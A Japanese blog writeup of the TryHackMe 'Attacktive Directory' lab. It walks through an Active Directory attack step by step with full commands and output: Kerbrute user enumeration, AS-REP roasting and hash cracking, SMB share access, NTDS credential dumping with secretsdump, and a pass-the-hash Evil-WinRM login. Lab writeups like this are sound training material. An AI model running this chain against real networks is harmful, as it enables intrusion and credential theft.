はまやんはまやんはまやん

hamayanhamayan's blog

Attacktive Directory 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210602202712p:plain

一部を■で隠しています。

Task1: Deploy The Machine

デプロイプロセスを細かく指示してくれる。優しい。

Taks2: Setup

色々ツールを入れようという章になっている。

  • Impacketは今まで使ったことがあるexploitコードがまとまっている
  • Bloodhound, Neo4jを入れてAD環境をスキャンできるようにする

Task3: Welcome to Attacktive Directory

とりあえず関連スキャナーを入れてみるとenum4linuxで刺さる。
他のやつはnmapをかけると情報が得られる。

$ nmap -sC -sV $IP | tee nmap.txt
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-06-02 12:03:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2021-06-02T12:04:10+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2021-06-01T11:29:29
|_Not valid after:  2021-12-01T11:29:29
|_ssl-date: 2021-06-02T12:04:18+00:00; 0s from scanner time.
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2021-06-02T12:04:10
|_  start_date: N/A

Task4: Enumerating Users via Kerberos

とりあえず指定されていることをやろう。

適当にKerbruteを入れる

  1. sudo apt install golang
  2. git clone https://github.com/ropnop/kerbrute.git
  3. cd kerbrute
  4. make linux
  5. sudo cp dist/kerbrute_linux_386 /opt/kerbrute

こんな感じで適当に入れる。

ユーザー列挙してみよう

ユーザー列挙用の辞書も与えられるので適当な所に入れて列挙してみる。
1つはどう見ても他と違う応答を返しているものがあるのでわかる。
もう一つは文字数を見てそれっぽいやつを答える。

$ /opt/kerbrute userenum -d spookysec.local --dc spookysec.local /opt/dics/userlist.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (9cfb81e) - 06/02/21 - Ronnie Flathers @ropnop

2021/06/02 21:53:35 >  Using KDC(s):
2021/06/02 21:53:35 >   spookysec.local:88

2021/06/02 21:53:42 >  [+] VALID USERNAME:       james@spookysec.local
2021/06/02 21:53:51 >  [+] svc-admin has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$svc-admin@SPOOKYSEC.LOCAL:87d15096323d6d0d...
2021/06/02 21:53:51 >  [+] VALID USERNAME:       svc-admin@spookysec.local
2021/06/02 21:53:54 >  [+] VALID USERNAME:       James@spookysec.local
2021/06/02 21:53:56 >  [+] VALID USERNAME:       robin@spookysec.local
2021/06/02 21:54:21 >  [+] VALID USERNAME:       darkstar@spookysec.local
2021/06/02 21:54:39 >  [+] VALID USERNAME:       administrator@spookysec.local
2021/06/02 21:55:16 >  [+] VALID USERNAME:       backup@spookysec.local
2021/06/02 21:55:31 >  [+] VALID USERNAME:       paradox@spookysec.local
2021/06/02 21:57:28 >  [+] VALID USERNAME:       JAMES@spookysec.local
2021/06/02 21:58:20 >  [+] VALID USERNAME:       Robin@spookysec.local
2021/06/02 22:01:56 >  [+] VALID USERNAME:       Administrator@spookysec.local

Task 5: Abusing Kerberos

前回でチケットは得られたので、これをクラックしてパスワードを得よう。
前やったときはJohn The Ripperで何も考えずに行けたが、今回は無理だった。
何が違うんだろう。

hashcatでクラック…ではないのか…

とりあえずexample_hashes [hashcat wiki]で先頭の$krb5asrepあたりを検索すれば、

f:id:hamayanhamayan:20210602221143p:plain

何を使えばいいかは分かる。

Impacketでチケットを抜き出す

前やったやつをやる。

$ python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py spookysec.local/svc-admin -no-pass
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for svc-admin
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:acaf3f984b4b9a85368a7...
$ john hash.txt --wordlist=/opt/dics/passwordlist.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
■■■■■■■■■■   ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)
1g 0:00:00:00 DONE (2021-06-02 22:38) 14.28g/s 102400p/s 102400c/s 102400C/s horoscope..frida
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Task 6: Back to the Basics

一つ認証情報が手に入ったので、smbmapで中身を見てみよう。

$ smbmap -H $IP -u svc-admin -p ■■■■■■■■■
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        backup                                                  READ ONLY
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SYSVOL                                                  READ ONLY       Logon server share

backupという一際目立つものがあるので、アクセスしてみよう。

$ smbclient \\\\$IP\\backup --user=svc-admin%■■■■■■■■■■■
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Apr  5 04:08:39 2020
  ..                                  D        0  Sun Apr  5 04:08:39 2020
  backup_credentials.txt              A       48  Sun Apr  5 04:08:53 2020

                8247551 blocks of size 4096. 3855341 blocks available
smb: \> mget *
Get file backup_credentials.txt? y
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> quit
$ cat backup_credentials.txt 
■■■■■■■■■■■■■■■■■

さっき見たbackupユーザーのクレデンシャルかな?
これはbase64になっていたのでデコードするとbackup@spookysec.local:■■■■■■■という使えるクレデンシャルがもらえる。

Task 7: Elevating Privileges within the Domain

問題文にsecretsdump.pyとあるのでImpacketのsecretsdump.pyを使う。

$ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py backup@$IP
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:■■■■■■■■■:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...

無茶苦茶出てくる。AdministratorのNTLMハッシュも得られる。

Task 8: Flag Submission Panel

最後にAdministratorでEvil-WinRMを使ってPowerShellを起動して、フラグを根こそぎ取ってこよう。
/opt/evil-winrm/evil-winrm.rb -i $IP -u 'Administrator' -H '[NTHash]'で接続。
後はlsとcdとcatを使って適当に取り出してくる。